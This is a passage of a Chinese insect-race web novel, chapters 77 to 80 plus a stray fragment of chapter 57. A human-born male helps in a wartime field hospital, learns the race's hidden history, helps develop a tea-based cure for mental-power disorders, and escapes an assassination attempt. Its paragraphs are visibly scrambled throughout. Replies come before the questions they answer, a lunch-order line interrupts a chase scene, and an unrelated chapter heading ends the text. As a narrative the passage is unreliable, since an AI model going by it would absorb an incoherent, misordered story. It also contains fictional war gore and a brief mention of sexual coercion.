“那我能帮上什么忙?” 诺拉直接忽略了安瑞要帮忙的言论,认真地嘱咐:“基地相对安全,您就在临时医院,千万别出去。” 他一边说一边往身上套军装,但原本合身的衣服现在却怎么也套不进去,急得他直跺脚。 安瑞无奈地指了指诺拉的肚子:“都五个多月了,原来的军装肯定穿不上了。” 诺拉如梦方醒一般坐在床边,怔怔地看着自己微微隆起的小腹,好像才反应过来,他已经怀孕了。 精细活干不了,涂涂药缠缠绷带的活他总能干吧。 “雄主!”诺拉还想劝什么,但是看安瑞态度坚定,只好叹了口气,“那我陪您一起下去。” * “阁下,您怎么下来了。” 安瑞还没出楼梯间,就被恰好路过的一名亚雌一声堵住了。 亚雌看到雄虫脸色都变了:“您快回五楼,千万别下来。” 军医声音里充满了焦急和慌张,要不是害怕安瑞身后的诺拉,估计就要直接上手把他往楼上推了。 安瑞摆摆手,闭上眼使劲做了几次深呼吸,终于慢慢适应了这股血腥味。 他跑到一个护士旁边:“您好,我是志愿者,有什么需要我帮忙的吗?” 护士正在给一只整条腿都被激光炮炸断了的军雌处理被激光烧伤的腐肉,根本没抬头,快速说:“你帮我压住他。” 前线麻药不够,还得紧着重伤的雌虫用,像这种缺胳膊断腿的,在虫族军队里都只能算是轻伤。 安瑞点头,上手按住军雌的肩膀,温声安抚:“兄弟,你忍一忍。” 军雌长着一张圆圆的娃娃脸,应该才成年不久,脸上还带着几分稚气,正呲牙溜嘴地忍着疼。 他的左眼已经被血封住了,用仅剩的一只右眼往上瞟,刚看了一眼脸色就变了,嘴里囫囵地喊着。 安瑞俯下身:“你说什么,是要水吗?” 军雌摇摇头,努力张开嘴:“安……安瑞阁下,危险,您快上楼,别管我。” 安瑞的眼睛一下就湿了,他鼻子发酸:“没事,等护士帮你把弹片取出来就好了。” 随着一块腐肉被切下来,军雌嗷地叫了一声,又立刻笑道:“阁下,我真的特别喜欢您,不知道您记不记得我,我的ID是草莓冰棒。” 安瑞摇摇头:“这里有什么需要我帮忙的吗,包扎伤口,运输货物什么的都可以。” “不用不用,真的不用您。”亚雌一叠声地拒绝,“第一批伤员应该就要送回来了,您快上去。” 亚雌军医话音未落,临时医院门口已经停了一艘军医专用星舰,数十名护士抬着担架往返于医院和星舰,把一波一波受重伤的军雌抬起来。 亚雌军医立刻冲出楼梯间,像陀螺一样奔波于数十名伤员之间,再也没空管安瑞了。 安瑞趁机从楼梯口挤出来,刚进楼道就被浓重的血腥味熏得眼睛法疼,胃里反酸,不由自主地往外干呕。 诺拉吓了一跳,赶紧扶住安瑞:“咱们还是回去吧。” 安瑞好像被激光炮击中了一样愣在原地,只剩一双手还机械地使劲扶着军雌的肩膀。 半晌,他才回过神来,声音颤抖地问:“你……我记得你还在上大学啊?” “军校生嘛,前线需要,就过来了。” 小军雌无所谓地笑了笑,脸上带着和年龄不相符的视死如归,但很快又随着另一块腐肉被拉下来而惨叫连连。 不知道为什么,安瑞心里有点不舒服,他客气地笑笑:“没事,我能帮忙的,你别客气。” 战争整整持续了五天,一波一波的军雌顶上去,又被一波一波地拉进医院。 安瑞每天两眼一睁就是穿梭在临时医院,帮着护士处理伤员。因为炊事班全部去给前线送营养液了,所以安瑞还主动承包了往医院送营养液的工作。 五天时间,说长不长,但足以把安瑞从战战兢兢的菜鸟变成熟练的护工。 一开始看到缺胳膊断腿的伤员,安瑞还会心惊胆战一阵,但到了后来,他甚至能面不改色地徒手把流到肚子外面的肠子塞回去。 直到这个时候,安瑞才意识到蓝星的那些战争电影有多假,真实的战争又有多残酷。 终于,在第六天黎明的时候,医院外响起了与前五天截然不同的号角。 安瑞很难想象,眼前的虫就是那个在直播间撒泼打诨抱怨期末作业多的“大学牲”。 “行了,你把他推到观察室。” 护士放下剪子,擦了一把额头的汗水,忽然惊呼一声:“阁下。” 亚雌脸色骤变,几步凑过来:“您……您怎么来这了,快上楼,别熏着您。” 原本嘈杂的临时医院一下就安静了。 过了很长时间,不知道是谁轻轻说了一句:“我们赢了。” 紧接着,医院立刻喧嚣了起来,有仰天大笑的,有抱着欢呼的,还有捶地痛苦的。 安瑞腿一软就坐在了地上,怀里还抱着整箱营养液,眼泪噼里啪啦往下落。 蜥蜴人退了,他们终于赢了。 * 第二天早上,安瑞去东区食堂拿营养液,刚进后厨,就看到昆西和几只军雌蹲在地上,一言不发地分营养液。 “你们回来了!”安瑞惊喜道。 激光导弹,正中军舰,尸骨无存。 他很难想象,那个十天前还中气十足地站在后厨骂虫,得意洋洋在餐厅巡视的班长,还有那十几只军雌,就这么没了。 直到回了临时医院,安瑞脑袋还是懵的,他机械性地帮护士发完营养液,独自坐在楼梯间,看着L星球灰蒙蒙的天空,迟到的眼泪才稀里哗啦地流下来。 忽然,有虫拍了拍他的肩膀,安瑞用手背抹了把脸,一回头,就看到达蒙站在他身旁。 “阁下怎么坐在这?” 第七十八章 至暗三百年 安瑞撑着墙站起来,勉强挤出一个笑容:“没什么,就是……就是有点难受。” 碧绿色的眼睛里微微一扫,里面就透出洞悉一切的光芒,达蒙没有立刻戳穿安瑞,而是客气道:“不知道您有没有时间,来我宿舍喝杯茶水。” 达蒙把茶字咬得很重,安瑞心念一动,达蒙不会还没放弃让他参与实验的想法吧? 可不知道为什么,他居然脱口而出:“荣幸之至。” 自从战争开始,东区食堂就停伙了,炊事班全部被安排往前线运输物资。 昆西转过头,勉强冲安瑞打了个招呼:“阁下日安。” “怎么就你们几个回来了,班长呢,其他军雌呢?” “班长,班长牺牲了。”昆西再也忍不住,嘴一咧,呜呜地哭了起来。 旁边的军雌哽咽着解释道:“班长带着十几个兄弟往前线送营养液的时候,军舰中了敌军的激光导弹,就……就……” 安瑞脑袋嗡地一声,倒退了两步险些坐在地上,一双眼睛空洞地 看着前方,想哭又哭不出来。 “我刚刚得知,炊事班十几名军雌阵亡,所以有点难受,失态了。” 达蒙一点没有意外,沏了杯绿茶递到安瑞手边:“难受,只是因为战友阵亡吗?” “不止,不止是战友阵亡。这几天,明明所有虫都在拼命,只有我无所事事,一点忙都帮不上,只能打打杂,可是那些军雌看到我的第一反应都是你行礼,然后让我赶快上楼。”安瑞 安瑞的大脑转得飞快,忽然一拍桌子:“你跟虫皇是一伙的对不对。” 之前一切的疑问都得到了答案,虫皇为什么会关注他,帮他破格通过志愿者报名,让他能够来前线,还说什么自己像他的一位故友。 都是生在新社会,长在红旗下的好少年,能不像吗? 达蒙抚掌大笑:“不愧是冰雪聪明的安瑞阁下,我承认,虫皇让您来前线,确实有这方面的考量,当然也是为了成全您和诺拉中将,用你们蓝星的话讲,伉俪情深嘛。” 安瑞脸微微一红,转移话题:“所以,虫皇一直知道,并且支持实验的事?” “没错,其实陛下执政的这一百年,一直试图改变现状,可是雄雌比例悬殊,格林家族尾大不掉,能够治疗精神力的药物又一直没有研制出来,陛下也只好暂时蛰伏,无为而治。”达蒙苦笑了一声,看着安瑞,“阁下了解过虫族的历史吗?” “五百余年前,虫族四分五裂,各大势力割据,民不聊生,斯蒂文家族、格林家族和亚当斯家族携手平叛,共同创立了现在的帝国。自此之后,虫族万众一心,才有了现在辉煌的文明。” 安瑞没事也会在虫网上搜搜虫族的风土人情,有关虫族历史,讲得最多的就是这一段。 对于网上的表述,安瑞基本上是认可的。毕竟虫族只用了六百多年就进入了星际时代,帝国还在社会性别如此畸形的情况下把整个虫族管辖的星系治理得井井有条,不管怎么说,都称得上成功。 使劲捏着瓷杯的把手,痛苦地咬了咬牙,“所有军雌都愿意为了保护我牺牲性命,可是我只能看着他们或牺牲或受伤,什么都做不了,我觉得我不配。” 达蒙面色如常,眼神却变得有些缥缈而悠远:“你是第二个跟我说这样话的雄虫,或者说,人类。” 安瑞调整了一下情绪:“另一个是,您的雄主?” “没错,我的雄主也是经历了一些事情,才会选择帮我一起做实验。”达蒙浅浅地笑了两声,“所以我一直相信,有朝一日,你肯定会改变主意。” 虽然单看饮食文明,好像确实不太辉煌…… “阁下说的不错,那您知道,当时的虫族为什么会四分五裂,又为什么会把那一战称作立国之战吗?” 安瑞端着茶杯,暗自点点头。 那个时候的虫族倒是跟蓝星的奴隶制社会建立前的原始部落有几分相似,当时的蓝星部落也是男耕女织,各司其职,共同为生存努力,并没有什么高低贵贱之分。 “后来,部落不断壮大,形成了数个小型的国家。然而,就在虫族文明不断进步的过程中,虫族的星系被陨石群撞击。植被和动物大批量死亡,虽然虫族勉强活了下来,但雄虫数量锐减,而且自此之后雌雄比例越发悬殊,超过了五百比一。” 安瑞心头一跳,忍不住问:“那很多国家岂不是就没有雄虫了?” “你说的不错。”达蒙慢慢在屋子里踱步,“当时,大一点的国家内部还有一些雄虫,小一点的国家直接就没有雄虫了。不仅繁衍成为了问题,更有很多雌虫和亚雌因为缺乏雄虫的抚慰,而出现精神力暴乱。外部生存资源匮乏,内部社会结构严重失调,这种情况会导致什么后果,阁下相比也明白吧。” 安瑞轻轻吐出两个字:“战争?” 安瑞被问得有点蒙:“那我还真不知道,而且网上有关虫族的历史好像就只到立国之战,再往前好像就没有什么资料了?” “那是因为再往前的历史,在立国时就被定为了禁书,禁止流通。” 达蒙理了理头上的白发,从座位上站起来,背手看着窗外昏暗的天空。 “远古时期,雄雌比例还没有如今这么悬殊,虫族以雄虫为单位,每两三只雄虫会和百十只雌虫亚雌组成一个部落,雌虫负责捕猎,亚雌负责采集,雄虫负责为族群的雌虫和亚雌提供精神力。虽说雄虫是整个部落保护的核心,娇贵一些,但是论地位上,雄虫和雌虫都是平等的。” “没错,国家之间爆发了战争,除了食物之外,雄虫也成为了珍贵的资源。没有雄虫的国家想尽办法从其他国家强,有雄虫的国家则会拼命护住自己国家的雄虫。” 达蒙轻轻叹了口气,脸上带着悲天悯虫的怆然。 “此外,因为雄虫柔弱又缺乏自保能力,很多得不到很好保护的雄虫被雌虫轮番强*要,甚至有的国家会把雄虫全部集中起来,要求他们必须提供多少次精神抚慰,必须让多少雌虫或者亚雌怀孕。” 安瑞听得手脚冰凉,暗自庆幸自己没有穿越到那个时候,要不然才真是天崩开局,多少金手指系统都救不回来的那种。 “斯蒂文家族带领虫族民众研究处营养液,解决了食物不足的问题,又研制出舒缓剂,缓解了精神力暴乱问题。可惜至暗年代折损的雄虫过多,直到现在雄雌比例还只恢复到了一千比一。而且当初原本是权宜之计,没想到矫枉过正,雄虫变得日益骄纵,平民雌虫得不到足够的精神力抚慰,舒缓剂的作用也十分有限。” 安瑞想到自己这一年遇见的各种奇葩雄虫,忍不住叹了口气:“虫族的雄虫,可真不是骄纵两个字能形容的啊。” 那简直就是变态暴虐、泯灭虫性。 达蒙呵呵笑了几声,眼神里带着怀念:“我家雄主也这么说过,他说虫族现在的社会结构,就是把平民雌虫扔给雄虫玩弄,换取社会勉强的稳定运行,他甚至觉得,虫族里不论雌虫还是雄虫都很可悲,甚至没有什么繁衍的必要了。” “我部分认同吧。”安瑞抿了口茶。 虽然确实可悲,但他接触的大部分虫族也都挺可爱的,也很善良。 “所以,阁下愿不愿意帮我们,一起让虫族变得更好,或者说至少,让平民雌虫过得好一点。”达蒙收起笑容,认真地看着安瑞,“我不能给您做出任何保证,但亚当斯家族和皇族,都会尽最大的努力,保障您和实验数据的安全。” 他稍微平复了一下情绪:“那后来呢?” “后来,虫族自然是遭到了报应。雄虫的身体素质本来就比不上雌虫,又被这么粗暴的对待,很多都承受不住,几十岁就提前死亡,最严重的时候雄雌比例一度达到了两千比一,眼看整个虫族就要濒临灭绝。这段历史,就是虫族的至暗三百年。” 安瑞倒抽了一口气,好像突然被打通了神督二脉一样,灵台一片清明。很多曾经不理解,或者一知半解的问题,现如今都有了答案。 “所以后来,三大家族建立了帝国,把雄虫的地位抬高,还专门制定了雄虫保护法,设立了雄保协会,还制定了雌训,就是为了避免两千比一的惨剧再发生。” 达蒙点点头:“毕竟雄虫和雌虫体力差距过大,如果雌虫用强,雄虫是完全没有反抗余地的。” 安瑞对这一点深有共鸣,虽然他真的在很努力的锻炼身体,但还是远远比不上诺拉。他平常能弹到诺拉,完全是因为自家雌君让着他,不仅不躲,还会主动把脑袋凑上来。 安瑞的心脏砰砰直跳,他克制住一口答应的冲动:“这件事影响太大,我需要和诺拉商量一下,您给我一天时间好吗?” “当然。” * “不是说了不让你累着,怎么又去指挥部了?”安瑞揉了揉诺拉的肚子,“今天感觉怎么样,他乖不乖?” “军队这几天就要撤出 L星球了,我去帮忙安排一下一军团。”诺拉讨好地笑了笑,“他很乖的,一点都没闹我。” “那也要注意身体。”安瑞扶着诺拉坐到床边,又蹲下帮他脱皮靴。 “雄主,别,脏。”诺拉慌乱地躲着安瑞的手,“我自己来就行,您快坐。” “帮他做治疗剂吗?”苍蓝色的眼睛瞬间亮了起来,“我当然同意了,怎么会不同意。” “你就不害怕,不担心?” “您知道,我是军雌,我身边,包括我雌兄身边,都有很多被精神力暴乱折磨的战友,如果能有治疗剂,他们也就不会那么痛苦了。”诺拉认真地看着自己的雄虫,“更何况,不是您说的吗,您希望站在我的前途里,我也一样。” 第七十九章 秘密基地 安瑞是跟诺拉一起去找的达蒙,达蒙教授一脸 “我就知道你们会一起来”的表情,把他们迎进了宿舍。 “考虑的怎么样了?” 安瑞和诺拉对视一眼:“想好了,我愿意帮您研究治疗精神力暴乱的药物。” 碧绿色的眼睛中露出了几份欣慰,达蒙笑着伸出手:“我代表实验室感谢阁下的奉献。” “教授不用客气。” “你答应了也是好事。”达蒙忽然冲他们神秘的眨眨眼,“我带你们去个地方吧。” 安瑞好奇地问了一句:“去哪?” “生产绿茶的秘密基地。” “跟我还客气什么,蓝星丈夫给怀孕的妻子脱鞋系鞋带都是基本操作。”安瑞利索地帮诺拉脱下靴子,又给他穿上拖鞋,“毕竟快生产了,还是小心点。” “您总拿蓝星说事,什么丈夫妻子的,就是骗我没见过。”诺拉拿起毛巾帮安瑞擦手,“怀个蛋,哪就那么娇气了。” 安瑞揶揄地笑笑:“呀,不是前两天抱着我睡衣哭的时候了?” “什么睡衣,谁哭了!”雌虫耳尖红得滴血,翻身躺在床上,只留给安瑞一个后背。 “不跟你闹了,今天达蒙教授找我了。” 诺拉立刻翻个身:“他是不是又问您治疗剂的事了?” 安瑞点点头,试探着开口:“如果我答应他,你同意吗?” 诺拉很自觉地退后了半步:“雄主,那我回医院等您。” 不等安瑞说话,达蒙先摆了摆手:“不用,诺拉中将跟我们一起去吧,你会对那里感兴趣的。” 安瑞见状,也拉住了诺拉的手:“既然达蒙教授说了,那就一起去吧。” 他总有一种预感,秘密基地里应该不只有绿茶。 * “原来茶叶就长在这上面?”安瑞看着眼前不起眼的小山坡,“所以蜥蜴人攻打L星球,也是为了茶叶吗?” 达蒙冷哼一声:“蜥蜴人有精神力暴乱的问题不假,但缘何能得知茶叶可以解决精神力暴乱, 诺拉疑惑地眨眨眼,看向身边的雄主,可惜安瑞和他同样迷茫。 还没等他们反应过来,达蒙就走到土坡前,抬起手,眼前便出现了一道虚拟虫脸识别锁,达蒙往前靠了靠,虚拟屏幕闪烁了一阵,出现了识别成功四个大字,紧接着又是一道密码锁。 达蒙输入了正确密码,原本覆盖着杂草的土坡上竟然缓缓打开了一扇门,里面是各种先进的实验仪器。 达蒙冲安瑞和诺拉笑眯眯地招招手,语气里带了几分自得:“他们只以为茶叶必然种在山坡上,却怎么都没想到,L星球的茶叶已经全部被转移进了山洞的实验大棚里。说起来,这还是我家雄主的奇思妙想。” 安瑞原本还在啧啧称奇,结果猝不及防被塞了一口狗粮,只能默默抓住了诺拉的胳膊。 “请进。” 达蒙教授引着诺拉和安瑞走进去,正对上一只站在实验室边穿着军装的雌虫。 军雌生得很高大,金发蓝眼,小麦色的皮肤,鼻梁高挺不苟言笑,低着头正在擦拭仪器,看上去竟然和诺拉有几分相似。 安瑞眼中闪过几分疑惑,还没等他开口问,身边的雌虫手指已经开始微微发抖,紧接着浑身都开始剧烈地颤抖。 安瑞脑海里蓦地闪过了一个猜测。 “雌兄?” 诺拉脱口而出的称呼印证了安瑞的猜测,雌虫声音带着不可置信的颤抖,伸出手,想碰一下自家兄长,可一双脚又好像是被钉在了地面上,一步也动不了。 “诺拉?” 诺亚愕然抬头,声音也带了几分惊讶和激动,但到底没有像诺拉那般失态。 诺拉眼尾发红,冲过去就搂住了诺亚的脖子:“雌兄,你……你……” 后面的话全部淹没在了哭声中。 诺亚坚毅的面容上闪过几分无措,似乎是不太适应弟弟这般亲近,愣了好一会儿才僵硬地拍了拍诺拉的后背。 达蒙随手一挥,身后的门便严丝合缝地关上了,他冲安瑞使个眼色,悄么声地穿过实验室,还能摸准了位置,两次攻打L星球?” 那自然是因为虫族里有叛徒。 雄虫虽然珍贵,但对于那些真正的贵族雌虫来说,自然不会缺雄虫,也没有精神力暴乱的危险。为了保住舒缓剂的销路,自然会千方百计阻挠抑制剂的研发。 但安瑞没想到,为了那点利益,格林家族居然不惜叛国,挑起战争。 想到前线战死和受伤的军雌,安瑞愤怒地皱了皱眉,咬着牙问:“那陛下知道吗?” “自然。”达蒙悠悠看着远方,轻轻说,“陛下已经忍他们很久了,治疗剂问世之时,便是他们被送上审判庭的日子。” 达蒙的话安瑞心里稍微好受一点,他看向达蒙:“那我们什么时候开始实验?” “不着急,先带你们去实验基地里看看。”达蒙冲诺拉神秘地笑了笑,“做好心理准备,情绪过于激动可对虫蛋不好。” 来到后面的绿茶种植棚。 刚出实验室,安瑞就着急地问道:“诺亚上将不是战死了吗,教授,这到底是怎么回事。” “这件事,还得从七年前那场战争说起。” 达蒙随手拿了本废弃的实验报告垫在屁股下面呢,席地而坐,又递给安瑞一本。 安瑞从善如流地学着达蒙的样子坐下,忍不住催促;“您就别卖关子了。” “当时蜥蜴人就是冲着茶叶来的,那场仗我们打得很艰难,敌军好像知道基地在哪一样,疯狂地朝着那一个点进攻。好在我们也打得很顽强,最终把蜥蜴人赶了回去,抱住了茶叶。” “基地这么隐蔽,蜥蜴人怎么会知道具体位置。”安瑞下意识地问了一句,而后恍然,“有奸细!” “你猜的很准,奸细就是实验室的雌虫。”达蒙眼睛里闪过几分恨意,“也是从那个时候开始,我和陛下意识到,参与实验的雌虫必须绝对可靠。” “所以你们就想到了诺亚?” 达蒙好心地没有戳穿他,指着最近的一株茶树:“要不要试试,他们能感知到你的精神力。” 安瑞好奇地抬起手,顺着之间将一律精神力注入到茶树里,就见原本没有实体的精神力丝线居然变成了金色,顺着茶叶一路划向树干,最后在泥土中消失不见。 有点意思嘿。 安瑞惊奇地挑了挑眉,又尝试着注入了几分精神力,丝线一点没浪费,全被茶树贪婪地吸收了。 “所以要注入多少精神力啊?” 达蒙又找了本科学刊物,边扇风边说:“如果只是用茶叶做抑制剂,那这就差不多了,但要想获得能种出有治疗效果茶树的种子,要注入的精神力却得特别精准,具体要多少还在实验中。” 达蒙话音刚落,诺拉和诺亚已经一前一后走了进来。诺拉眼角还微微有些泛红,但看表情却好像是生气了。诺亚落后他半步,脸上带着几分无措和愧疚。 “雄主。”诺拉走到安瑞身边,别别扭扭地说了一句,“这……这是我雌兄诺亚。” 诺亚立刻站直,冲安瑞行了个军礼:“阁下日安,感谢阁下对我雌弟包容,也感谢阁下对艾米的照料。” “雌兄太客气了,都是我应该做的。”安瑞赶紧鞠躬还了个礼,“第一次见面,也没给您准备什么礼物,以后有机会请您去我家做客。” 诺拉低低地哼了一声:“诺亚上将要看守实验基地,哪里有时间回首都星。” 诺亚无措地正了正军帽,轻轻咳嗽一声:“抱歉。” “不只是诺亚,还有二十多名经过层层筛选的军雌。家世绝对清白,等级足够高,并且在战争精神力严重受损的军雌,三个条件缺一不可。”达蒙理了理头上的白发,“没有科研经验没关系,我可以从头教,但忠诚度,决不能有一丝一毫的马虎。” 安瑞很快就反应了过来,他皱了皱眉:“所以,诺亚上将并没有阵亡,只是精神力严重受损,就被你选中看守实验室和茶叶,为了绝对的保密,才会宣布诺亚阵亡的消息。可是……” “我知道你想说什么。”达蒙揶揄地看他一眼,“不就是觉得这对诺亚和你雌君都不公平吗,以诺亚当时精神海受损的程度,再加上他那个糟心的雄主,勉强回去了也是生不如死。没经过雄虫精神力培育的茶叶虽说不能根治他们的伤病,但至少不会让他们的情况恶化。” “我……我也没想说什么。”安瑞心虚地撇撇嘴,转移话题,“这些茶叶长得真不错。” 眼看着自家雌君和大舅哥就要吵起来,安瑞赶紧打圆场,从智脑里找出几张艾米的照片:“雌兄,这是小艾米,可乖了,成绩也很好。” 诺亚看着骑在旋转木马上笑得一脸开心得小虫崽,苍蓝色的眼睛蒙上了一层水雾,双手颤抖着拂上屏幕,又看向诺拉:“小诺尔,是……是我对不住你们。” 诺拉依旧板着脸,但一双手已经无措地绞上了衣角,他犹豫了一下,还是凑过去拉了拉诺亚的手:“兄长有难处,我也明白。” 看着两兄弟又抱在了一起,安瑞这才长舒一口气,收起智脑,为机智的自己点了个赞。 * 因为实验需要,安瑞得留在L星球,但诺拉还有半个月生产,他们商量了一下,还是决定让诺拉先回首都星。 诺拉临走的前一天晚上,安瑞又仔仔细细给他做了一遍精神力舒缓,还给他带了一包注入了精神力的茶叶。 “要是有什么不舒服的就含一片。”安瑞仔细地给诺拉披上外套,“首都星要入秋了,别贪凉,早晚记得加衣服。” 诺拉使劲点点头,一双苍蓝色的眼睛依恋地看着安瑞。 他握住自家雄主的手,在上面虔诚地落下一个吻:“雄主,您也保重。” 第八十章 正文完结 诺拉离开地第二天,安瑞就开始了没日没夜的实验,每天就是对着一堆茶叶,注入不同程度的精神力。 安瑞感觉他就像一个学艺不精的开锁师傅,用最笨的方法一点一点试,试图解开一把六位数的密码锁。 如果运气好,可能下一次就会成功 ,但如果运气不好,就又要开始下一次实验。 幸好达蒙的雄主已经完成了绝大部分实验,哪怕实验数据被毁,大方向还是有的,至少不用完全地从头开始。 安瑞轻轻吐出一口气,萦绕在心头多日的困惑终于消散了。 他很庆幸,自己似乎没有选错方向。 虽然雄虫珍贵,但治疗剂事关虫族的未来,又有陛下的支持,就算想要神不知鬼不觉弄来一批雄虫也不是不可能。 安瑞实在没法理解,为什么自从老乡去世之后,这项实验就停滞了数年。 “你是说绑架?其实我们也不是没想过。”达蒙微微一笑,坦诚道,“可惜雄虫在被动状态下很难向茶叶中注入精神力,而且雄虫数量又缺失太稀少,经不起折腾了,所以也就没那么做。除此之外,我家雄主也说过,不能为了一万只虫的利益,牺牲一只虫的生命,这不公平。” 随着试验的进行,安瑞也从最开始的兴奋变得麻木。 整套流程已经非常熟悉,他所需要做的就是碰运气。 三天前,因为预产期临近,诺拉已经住进了首都星的医院里,据产科的医生说,六个月只是平均的时间,实际每只雌虫都不一样,早点晚点都是正常的。 枯燥、烦闷逐渐将他淹没,他第一次理解了为什么他那些读博的同学都变成了酒蒙子和体育生。 在这种没有希望的实验里,实在是需要有点精神慰藉,要不然真的会崩溃。 而安瑞的精神寄托就是诺拉,他每天最盼望的时刻就是实验结束,他窝在宿舍里,和诺拉视频对话。 也就是说,从诺拉住进医院开始,每一天都有可能生产。 中午,安瑞把上午注入了精神力的茶叶一股脑端给达蒙,由他安排研究员进行检测,安瑞则抓紧时间走到休息区,一边吃饭一边给诺拉打视频。 然而,往常会秒接的雌虫这会却没有接视频申请。安瑞眉心一跳,心里有些慌,刚要拨给医院产科,屏幕上就弹出来了诺拉的语音申请。 他赶紧接通,屏幕上就出现了诺拉略显疲惫的脸,他靠在床头,抱起一个和脸差不多大的虫蛋:“雄主,虫蛋生出来了。” 安瑞盯着那个满是瑰丽花纹的虫蛋,激动得手一抖差点把智脑摔了。 那是他和诺拉的孩子,是他们的宝贝。 “诺拉,辛苦了。”安瑞心疼地看向镜头里的雌虫,“疼不疼?” “不疼,挺顺利的。”诺拉幸福地搂着虫蛋,“他很乖,我明天就出院了,到时候把艾米接回家。” 安瑞还要再说点什么,休息室的门忽然被一把推开了。 达蒙步履匆匆地走进来,一向平和的脸上却带了十分激动,连半白的眉毛都高高翘起来:“成了,成功了。” 安瑞猛地从座位上站起来,连智脑都顾不得关就走过去:“什么成了?” “种子,能直接做治疗剂的茶树种子,数据成了。”因为太过激动,达蒙说话都有些颠三倒四。 可惜这项实验太过重大,饶是诺拉的病房里没有别的虫,安瑞也不敢说得太细,只能一遍一遍地重复“我们成功了”。 诺拉也很激动,不由自主地抱紧了虫蛋。 他还记得自己雌兄被分配给德雷克之后,是怎么受到雄虫百般欺凌的。他也记得,正在德雷克的那间地下室里,有多少雌虫亚雌为了能得到精神力抚慰,像狗一样跪在地上祈求德雷克,将自己的尊严踏入尘埃。他更记得,战场上有多少军雌因为精神力受损,不得不提前退伍,终生饱受病痛的折磨。 如果治疗剂能问世,那雌虫就再也不用承受这些痛苦。 诺拉越想越激动,苍蓝色的眼睛也不由得微微发红。 他轻轻开口:“雄主,谢谢您。” 他忍不住想,雄主,还有和雄主一样从蓝星来到虫星的雄虫,应该是虫神赐给虫族的瑰宝吧。 * 有了准确的实验数据,后面的事情就容易多了。 首都星时间10月15日,第一批治疗剂问世。因为数量有限,所以每只虫限购一支。 剧烈的喜悦让安瑞大脑一片空白,等他反应过来的时候,脸上已经流下了两行清泪。 总算是成功了。 他拿起智脑,欣喜若狂:“你听见了吗,实验成功了。” 首都星时间10月16日,虫皇亲自签发逮捕令,以叛国罪、泄露国家秘密罪、偷逃税款罪逮捕乔治·格林,道格拉斯·格林等有关嫌疑虫,没收犯罪所得,并处以1.7亿星币的罚金。 首都星时间10月19日,乔治、道格拉斯等21名嫌疑虫全部缉拿归案。 彼时的安瑞已经登上了回首都星的飞船。虽然实验室还有一部分收尾工作没有完成,但安瑞已经等不及了,毕竟他的虫蛋都出生半个多月了,还没和雄父见过面呢。 安瑞坐在飞船上,看着虫网新闻里被押上被告席的乔治和道格拉斯,心中只觉得一阵畅快。 他以前只觉得这两只虫又蠢又坏,为达目的不择手段,却没想到他们底线这么低。 不管为了什么,挑起战争,阻挠医学的发展,判死罪也不为过。 经过了五天的飞行,安瑞又重新回到了那个熟悉的首都星。 刚下飞船,安瑞就看到了等在站台的诺拉,手里还牵着艾米。他几步走过去,先抱了抱小虫崽,又紧紧抱住自家雌君,在他脸上吻了一下。 “我看看,是不是瘦了。” 诺拉被他抱得有点不好意思,轻微地挣扎了一下:“没瘦,还胖了好几斤呢。” 那些育崽贴里都写了,破壳前经常和雄父接触的虫崽,长大后换上精神力疾病的概率是一般虫崽的十分之一。 他可不想让他的宝贝变成那十分之九。 艾米站在旁边嘿嘿笑:“叔父啵啵雌叔,叔父羞羞。” 安瑞松开诺拉,把小虫崽抱在怀里,敲了一下他的脑袋:“虫小鬼大,从哪里学的新词?” 小虫崽嘿嘿一笑,有点不好意思地捂住脸:“伊莱教我的。” “这么晚怎么不在家睡觉?” 小虫崽眼睛一眨一眨的:“因为想早点见到叔父。” “好乖,走了,回家了!” “叔父,我们会不会死。” “不会啊,乖乖不怕。”安瑞抱紧了小虫崽,轻声安抚。 诺拉皱着眉,目光冰冷,把油门踩到最底,一路S型走位就往工厂蹿。 安瑞和诺拉都是脸色一变,诺拉撑着椅子跳到驾驶座位上,猛地转动方向盘,做了个一百八十度大拐弯。 黄色星舰擦着边冲了过去。 安瑞也是一身冷汗,手里护着小虫崽就要报警。 亚雌睚眦欲裂,冲着安瑞就是一顿骂:“就是你这个虫渣,你害了我们格林家族,我告诉你 ,我们就算是进了地域,也不会放过你!” 安瑞神色自若,摆摆手:“报警吧。” 可不知道为什么,智脑一直显示没有信号。 就算现在还没进主城区吧,也不至于没网啊。 安瑞心中蓦地生出了几分不好的猜测,还没等他说出来,就见旁边又出现了一艘绿色星舰,直直向他们冲了回来。 诺拉刚避开绿色星舰,黄色星舰又不知道什么时候窜回来了。诺拉已经努力在躲了,但还是晚了些,被黄色星舰擦着撞了一下,幸好军部的星舰够结实,这一下没怎么样。 因为航站楼建在郊区,回家距离不算近,好在深夜路上也没什么星舰,一路还算畅行无阻。 星舰后排,艾米坐在安瑞和诺拉中间,小嘴叭叭地说着学校里的趣事,忽然,旁边蹿出来一艘黄色的星舰,好像不受控制一般冲过来。 安瑞脸色骤变。 这不是失灵,是一场有预谋的谋杀。 诺拉显然也猜到了这点,操纵着星舰左躲右闪,饶是他驾驶技术一流,但遇见黄色和绿色星舰这种不要命的开法,也有点捉襟见肘。 安瑞脑中灵光一闪,喝到:“往调料厂开。” 调料厂距离航站楼不远,最关键的是后面还有一大片宿舍,住着不少员工。 安瑞也非常配合地缩在家里,哪都不去。 等一切尘埃落定的时候,已经是来年二月了,就在昨天,新的《军雌保护法》和《雄虫保护法》问世。 眼看前面就是工厂的门,诺拉咬着牙,星舰径直撞在铁栅栏门上。 “当”地一声巨响,整个工厂都跟着晃了晃。值班的员工骂骂咧咧出来,在看到诺拉星舰的那一刻立时就变了脸色。 不到五分钟,负责运货的几个员工已经驾驶着五艘特大号运货星舰冲上了高空。他们原本都是在军队里驾驶飞船的,开个军舰就跟玩一样。 诺拉想了想:“螺蛳粉吧,多加一个炸蛋。” 五艘巨大号星舰让过诺拉的星舰,把绿黄两艘星舰团团围住。 这五艘星舰都是专门运货的,比绿黄这种私虫星舰大了不止一倍,也结识得多。他们没有硬装,只是一点点缩小包围圈,逼着两艘星舰停在工厂前的空地上。 刚停下来,上百只雌虫就冲过去把里面的虫给拎了下来。安瑞在远处眯眼一看,其中一只亚雌怎么这么眼熟啊。 他想了好一会儿,突然脱口而出:“露西?” 跟这种虫,没什么好说的。 * 虫皇对安瑞突然遇袭非常重视,不仅扩大了逮捕范围,还给安瑞家附近派了不少安保虫员。 诺拉枕在安瑞腿上,看着新法的内容,忍不住扬起嘴角,一双苍蓝色的眼睛在阳光的照射下熠熠发光。 安瑞捏了捏雌虫的鼻子:“中午吃什么?” 57-72 第五十七章调料厂 安瑞精神一振,眉眼间滚动着汹涌的情绪,一双蓝色的眼睛直直地吃着对面的中年雄虫。 